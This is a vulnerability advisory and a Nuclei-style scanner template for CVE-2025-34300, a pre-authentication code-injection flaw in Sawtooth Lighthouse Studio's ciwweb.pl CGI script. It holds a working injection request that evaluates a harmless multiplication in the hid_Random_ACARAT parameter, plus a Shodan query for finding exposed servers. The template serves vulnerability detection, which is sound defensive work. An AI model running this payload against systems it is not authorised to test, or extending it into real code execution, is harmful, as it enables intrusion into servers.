A pre-authentication remote code execution vulnerability exists in Sawtooth Software’s Lighthouse Studio versions prior to 9.16.14. The issue arises from the unsafe use of the `eval` function within the Perl CGI component `ciwweb.pl`, where attacker-supplied input inside `hid_Random_ACARAT` is directly passed to `eval`. This allows remote unauthenticated attackers to execute arbitrary Perl code on the server.
PoC代码[已公开]
id: CVE-2025-34300
info:
name: SawtoothSoftware Lighthouse Studio < 9.16.14 - Pre-Auth Remote Code Execution
author: assetnote,DhiyaneshDK,iamnoooob
severity: critical
description: |
A pre-authentication remote code execution vulnerability exists in Sawtooth Software’s Lighthouse Studio versions prior to 9.16.14. The issue arises from the unsafe use of the `eval` function within the Perl CGI component `ciwweb.pl`, where attacker-supplied input inside `hid_Random_ACARAT` is directly passed to `eval`. This allows remote unauthenticated attackers to execute arbitrary Perl code on the server.
reference:
- https://slcyber.io/assetnote-security-research-center/rce-in-the-most-popular-survey-software-youve-never-heard-of/
- https://sawtoothsoftware.com/resources/software-downloads/lighthouse-studio
- https://nvd.nist.gov/vuln/detail/CVE-2025-34300
classification:
epss-score: 0.78061
epss-percentile: 0.98982
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-34300
cwe-id: CWE-1336,CWE-20
metadata:
verified: true
max-request: 1
shodan-query: html:"Lighthouse Studio"
tags: cve,cve2025,lighthouse-studio,sawtoothsoftware,rce,ssti,vkev
variables:
num1: "{{rand_int(40000, 44800)}}"
num2: "{{rand_int(40000, 44800)}}"
result: "{{to_number(num1)*to_number(num2)}}"
http:
- raw:
- |
GET /cgi-bin/ciwweb.pl?hid_javascript=1&hid_Random_ACARAT=[%25{{num1}}*{{num2}}%25]&hid_Random_ACARAT=x HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'name="hid_Random_ACARAT" value="{{result}}"'
- type: status
status:
- 200
# digest: 4a0a00473045022100c46374436149dda722174fdec961a089e39c9bd0c196e2afb467ed41d22ade6d02205b7088218a3f8948d9e2d8e6459d4ef2a1b1db7012e334fe7aeb8637d152f123:922c64590222798bb761d5b6d8e72950